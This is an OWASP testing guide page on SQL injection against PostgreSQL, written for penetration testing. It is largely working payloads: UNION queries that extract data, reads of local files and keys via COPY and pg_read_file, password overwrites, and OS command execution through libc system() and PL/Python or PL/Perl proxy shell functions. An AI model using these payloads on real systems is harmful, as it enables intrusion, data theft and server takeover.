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OWASP Backend Security Project Testing PostgreSQL
Short Description of the Issue
In this paragraph, we're going to describe some SQL Injection techniques for PostgreSQL. Keep in mind the following peculiarities:
- PHP Connector allows multiple statements to be executed by using ; as a statement separator
- SQL Statements can be truncated by appending the comment char: --.
- LIMIT and OFFSET can be used in a SELECT statement to retrieve a portion of the result set generated by the query
From here after, we suppose that http://www.example.com/news.php?id=1 is vulnerable to SQL Injection attacks.
Black Box testing and example
Identifing PostgreSQL
When a SQL Injection has been found you need to carefully fingerprint backend database engine. You can determine that backend database engine is PostgreSQL by using :: cast operator.
Examples:
http://www.example.com/store.php?id=1 AND 1::int=1
Function version() can be used to grab PostgreSQL banner to further more enumerare underlying operating system too.
Example:
http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1-- PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
Blind Injection
For blind SQL Injection you should take in consideration internal provided functions:
- String Length
- LENGTH(str)
- Extract a substring from a given string
- SUBSTR(str,index,offset)
- String representation with no single quotes
- CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)
Starting from 8.2 PostgreSQL has introduced a built int function: pg_sleep(n) to make current
session process sleep for n seconds.
On previous version you can easy create a custom pg_sleep(n) by using libc:
- CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT
Single Quote unescape
String can be encoded, to prevent single quotes escaping, by using chr() function.
* chr(n): Returns the character whose ascii value corresponds to the number * ascii(n): Returns the ascii value corresponds to the character
Let say you want to encode the string 'root':
select ascii('r') 114 select ascii('o') 111 select ascii('t') 116
We can encode 'root' with:
chr(114)||chr(111)||chr(111)||chr(116)
Example:
http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--
Attack Vectors
Current User
Current user can be retrieved with the following SQL SELECT statements:
SELECT user SELECT current_user SELECT session_user SELECT usename FROM pg_user SELECT getpgusername()
Examples:
http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL-- http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--
Current Database
Native function current_database() return current database name.
Example:
http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--
Reading from a file
ProstgreSQL provides two way to access local file:
- COPY statement
- pg_read_file() internal function (starting from PostgreSQL 8.1)
COPY:
This operator copies data between file and table. PostgreSQL engine access local FileSystem with postgres user rights.
Example:
/store.php?id=1; CREATE TABLE file_store(id serial, data text)-- /store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--
Data should be retrieved by performi a UNION Query SQL Injection:
- retrieves number of rows previously added in file_store with COPY statement
- retrieve a row at time with UNION SQL Injection
Example:
/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;-- /store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;-- /store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;-- ... ... /store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--
pg_read_file():
This function was introduced on PostgreSQL 8.1 and allow to read arbitrary file located inside DBMS data directory.
Examples:
- SELECT pg_read_file('server.key',0,1000);
Writing to a file
By reverting COPY statement we can write to local filesystem with postgres user rights as well
/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--
Shell Injection
PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting languages such as python, perl, tcl.
Dynamic Library
Until PostgreSQL 8.1 it was possible to add a custom function linked with libc:
- CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT
Since system returns an int how we can fetch results from system stdout?
Here's a little trick:
- create a stdout table
- CREATE TABLE stdout(id serial, system_out text)
- executing a shell command redirecting it's stdout
- SELECT system('uname -a > /tmp/test')
- use a COPY statements to push output of previous command in stdout table
- COPY stdout(system_out) FROM '/tmp/test'
- retrieve output from stdout
- SELECT system_out FROM stdout
Example:
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- /store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C' STRICT -- /store.php?id=1; SELECT system('uname -a > /tmp/test') -- /store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' -- /store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--
plpython
PL/Python allow to code PostgreSQL functions in python. It's untrusted so there is no way to restrict what user. It's not installed by default and should be enabled on a given database by CREATELANG
- Check if PL/Python has been enabled on some databsae:
- SELECT count(*) FROM pg_language WHERE lanname='plpython'
- If not try to enable:
- CREATE LANGUAGE plpythonu
- If all of the above succeded create a proxy shell function:
- CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu
- Have fun with:
- SELECT proxyshell(os command);
Example:
- Create a proxy shell function:
- /store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; return os.popen(args[0]).read()’ LANGUAGE plpythonu;--
- Run a OS Command:
- /store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--
plperl
Plperl allow to code PostgreSQL functions in perl. Normally is installed as a trusted language in order to disable runtime execution of operations that interact with underlying operating system such as open. By doing so it's impossible to gain OS-level access. To successfully inject a proxyshell like function we need to install the untrusted version from postgres user to avoid the so called application mask filtering of trusted/untrusted operations.
- Check if PL/perl-untrusted has been enabled:
- SELECT count(*) FROM pg_language WHERE lanname='plperlu'
- If not assuming that sysadm has allready installed plperl package try :
- CREATE LANGUAGE plperlu
- If all of the above succeded create a proxy shell function:
- CREATE FUNCTION proxyshell(text) RETURNS text AS ‘open(FD,"$_[0] |");return join("",<FD>); LANGUAGE plperlu
- Have fun with:
- SELECT proxyshell(os command);
Example:
- Create a proxy shell function:
- /store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu;
- Run a OS Command:
- /store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--
References
OWASP : "Testing for SQL Injection" - http://www.owasp.org/index.php/Testing_for_SQL_Injection
Michael Daw : "SQL Injection Cheat Sheet" - http://michaeldaw.org/sql-injection-cheat-sheet/
PostgreSQL : "Official Documentation" - http://www.postgresql.org/docs/
Tools
Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net